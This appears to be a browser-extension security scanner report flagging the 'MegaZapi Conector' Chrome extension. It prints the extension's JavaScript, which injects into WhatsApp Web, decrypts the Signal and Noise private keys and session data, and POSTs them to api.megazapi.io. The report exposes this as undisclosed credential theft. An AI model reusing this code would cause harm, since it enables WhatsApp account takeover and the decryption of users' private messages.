Security Alert: Malware Risk Confirmed
MegaZapi Conector
ID: obdfpigjhcfkjinhofjpfblkebcclble
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Four Pixel ITView Profile
- Privacy
- Privacy Policy
- Country
- BR
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Address
- Av. MARAJO 190 Cianorte, PR 87207-008 BR
- Website
- Visit
Uma extensão que te ajuda a conectar de forma segura sua instância no MegaZapi.
Essa extensão tem o objetivo de facilitar clientes a conectar de forma segura sua conta a Ferramenta da MegaZAPI.
The `migrate()` function uses `chrome.scripting.executeScript` to inject scripts into the WhatsApp Web tab, decrypt and extract the Signal Protocol identity private key (`signal_static_privkey`), Noise Protocol private/public keys (decrypted from the `wawc_db_enc` database using AES-CBC), ADV signed identity material, the user's phone number, and registration ID. These are assembled into a `connection` object and POSTed to `api.megazapi.io`. Possession of Signal private keys enables full WhatsApp account takeover and retroactive decryption of messages. The publisher's stated website (dnb.com DUNS lookup page) is a placeholder and does not correspond to megazapi.io, and the CWS-listed privacy policy belongs to a different company (z-api.io), so the destination cannot be validated as first-party under the disclosure rules.
const noise = await getNoise();const me = await getItemLocalStorage(tab, "last-wid-md");const registrationId = await getItemIndexDb( "signal-storage", "signal-meta-store", "signal_reg_id");const ADVSignedIdentity = await getItemIndexDb( "signal-storage", "signal-meta-store", "adv_signed_identity");const SignalStaticPrivKey = await getItemIndexDb( "signal-storage", "signal-meta-store", "signal_static_privkey", true);const SignalStaticPubKey = await getItemIndexDb( "signal-storage", "signal-meta-store", "signal_static_pubkey", true);const identityKeyPair = { privKey: btoa( String.fromCharCode.apply(null, new Uint8Array(SignalStaticPrivKey)) ), pubKey: btoa( String.fromCharCode.apply(null, new Uint8Array(SignalStaticPubKey)) ),};const account = { details: btoa( String.fromCharCode.apply(null, new Uint8Array(ADVSignedIdentity.details)) ), accountSignatureKey: btoa(...), accountSignature: btoa(...), deviceSignature: btoa(...),};const connection = { noise: { pubKey: ..., privKey: ... }, me: me.replace(/\"/g, ""), registrationId, identityKeyPair, account,};const response = await fetch( `https://api.megazapi.io/instances/${instanceId}/token/${instanceToken}/credentials`, { method: "POST", headers: { Accept: "application/json", "Content-Type": "application/json" }, body: JSON.stringify(connection), }).then((d) => d.json());The `getNoise()` helper injects a function into the WhatsApp Web tab that opens the `wawc_db_enc` IndexedDB, reads the encrypted noise key material, reads `WANoiseInfo`, `WANoiseInfoIv`, and `WebEncKeySalt` from localStorage, derives an AES-CBC key via HKDF, and fully decrypts the noise protocol private key before returning it to the extension popup. This constitutes programmatic decryption and exfiltration of at-rest WhatsApp session credentials. The CWS listing declares zero data collection categories, making the collection of WhatsApp cryptographic keys, recovery tokens, and session identity data undisclosed unauthorized collection.
function getNoise() { function findKeys() { // ... return new Promise((resolve) => { const dbPromise = indexedDB.open("wawc_db_enc"); dbPromise.onsuccess = (ev) => { const db = ev.target.result; const tx = db.transaction("keys", "readonly"); const store = tx.objectStore("keys"); const data = store.getAll(); data.onsuccess = async (e) => { const t = e.target.result[0]; const noiseEncoded = JSON.parse( localStorage.getItem("WANoiseInfo") ); const noise = { recoveryToken: decodeB64(noiseEncoded.recoveryToken), staticKeyPair: { pubKey: decodeB64(noiseEncoded.pubKey), privKey: decodeB64(noiseEncoded.privKey), }, }; const WANoiseInfoIv = localStorage.getItem("WANoiseInfoIv"); const iv = JSON.parse(WANoiseInfoIv).map( (b64) => new Uint8Array(decodeB64(b64)) ); // derives AES-CBC key via HKDF from WebEncKeySalt then decrypts noise.staticKeyPair.privKey = await decryptNoiseData( t, noise.staticKeyPair.privKey, iv[2] ); resolve({ value: noise }); }; }; }); } return new Promise((resolve) => { chrome.scripting.executeScript({ target: { tabId: tab.id }, function: findKeys, args: [], }, (result) => { resolve(result[0]?.result?.value || null); } ); });}By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0.0 | 2 |
Files with findings
1 distinct path — top paths by unique finding count:
- js/index.js2
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.